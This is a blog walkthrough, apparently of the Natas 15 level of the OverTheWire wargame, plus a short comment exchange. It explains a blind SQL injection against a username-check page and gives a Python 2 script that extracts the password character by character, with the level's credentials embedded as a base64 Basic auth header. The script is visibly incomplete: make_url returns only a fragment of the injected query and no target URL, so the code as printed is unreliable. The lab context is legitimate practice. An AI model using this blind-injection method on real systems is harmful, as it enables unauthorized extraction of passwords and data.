Saturday, November 8, 2014

Natas 15

This time, it looks like the only functionality they give us is the ability to check if a given username exists in the database:

Looking at the code, however, it looks like another SQL injection vulnerability is present. (See how they again directly stick the request parameters into the query string?)

For this one, I wrote a bit of code to automate the process of determining the password.

Since we control the "username" parameter, there's nothing stopping us from adding in additional tests to the query string.

After checking if the user "natas16" exists (it does), what happens if we also add an "and password=____" requirement on to the end of the SQL query? If the statement involving the password is true, we should see "This user exists.", if it's not, we should see "This user doesn't exist.".

import requests

auth_header = {'Authorization':'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))

def make_url(substr):
    return ",1,%22" + str(len(substr)) + "%22%29=%22" + substr + "%22%20and%20%22a%22=%22a"

def is_success(url):
    resp = requests.get(make_url(url), headers=auth_header)
    return "This user exists." in resp.text

password = ""

while len(password) < 32:
    for char in alphanumerics:
        print password+char
        if is_success(password+char):
            password += char

    print "Password =", password

 The little python script above will use the SUBSTRING() SQL function to test substrings of the password, breaking down the brute-force effort to a character-by-character brute-force instead of trying to brute-force the entire password at once.

Eventually, the script exits and prints the full password.


  1. Hi, I'm newbie. Shall you explain me this code, why we have it:
    auth_header = {'Authorization':'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
    Thank you, Sorry to bother you

    1. Hi Newbie, sorry for the slow reply -- if you do not send the Authorization header with the request, you'll get an 401 Unauthorized response. It encodes the level's username and password (which you would otherwise be prompted for if you were sending the request from your web browser instead of the command line). Try base64-decoding the "bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==" string :-)